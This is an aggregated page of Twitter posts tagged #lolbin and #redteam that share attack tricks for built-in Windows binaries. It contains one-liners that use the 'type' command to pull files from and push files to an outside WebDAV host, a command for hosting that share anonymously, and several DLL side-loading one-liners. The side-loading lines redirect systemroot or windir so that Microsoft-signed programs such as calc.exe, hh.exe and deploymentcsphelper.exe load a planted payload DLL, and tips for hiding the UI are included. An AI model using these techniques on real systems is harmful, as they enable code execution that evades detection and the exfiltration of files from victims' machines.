Discover and read the best of Twitter Threads about #lolbin
Most recents (4)
The Windows type command has download/upload functionality
1️⃣ Host a WebDAV server with anonymous r/w access
2️⃣ Download: type \\webdav-ip\folder\file.ext > C:\Path\file.ext
3️⃣ Upload: type C:\Path\file.ext > \\webdav-ip\folder\file.ext
#lolbin #redteam
(Bonus ADS 😆)
1️⃣ Host a WebDAV server with anonymous r/w access
2️⃣ Download: type \\webdav-ip\folder\file.ext > C:\Path\file.ext
3️⃣ Upload: type C:\Path\file.ext > \\webdav-ip\folder\file.ext
#lolbin #redteam
(Bonus ADS 😆)
To host a simple python WebDAV server use wsgidav.
wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
github.com/mar10/wsgidav
wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
github.com/mar10/wsgidav
If anyone knows how to have a webserver interpret the PROPFIND method as a GET method, I would be very interested in learning.
#lolbin #lolbas (again cuz i messed up the oneliner on the previous attempt) load a DLL of your choice with calc.exe. Oneliner: mkdir C:\x\system32&set systemroot=C:\x© /y payload.dll %systemroot%\system32\propsys.dll&C:\Windows\System32\calc.exe
hh would do so too. but for hh an argument has to be provided (as you can see in the screenshot it didn't try loading anything on the first run w/o the help switch); mkdir C:\x\system32&set systemroot=C:\x© /y payload.dll %systemroot%\system32\propsys.dll&C:\windows\hh.exe /?
but there's this annoying ui that loads on a different thread than our msgbox; seems like dataexchange.dll is supposed to load earlier, so this is w/o ui: mkdir C:\x\system32&set systemroot=C:\x© /y payload.dll %systemroot%\system32\dataexchange.dll&C:\windows\hh.exe /?
Some #lolbins [likely hw-related] call igc64.dll (Intel Graphics Shader Compiler for Intel(R) Graphics Accelerator), which then tries to LoadLibraryA on rasty_jitter64.dll (obviously from either CWD or %PATH%). Just export JitCreateCompilerData & run phoneactivate.exe toloadurdll
same with filehistory
And to avoid showing up any UI, call ExitProcess when done.
Load your DLL payload with a MS-signed executable; deploymentcsphelper.exe, by setting %windir% to C:\dummy and planting your lib as dbghelp.dll under system32 of that dummy folder #lolbin #lolbas
Same with djoin.exe
and dnscacheugc.exe
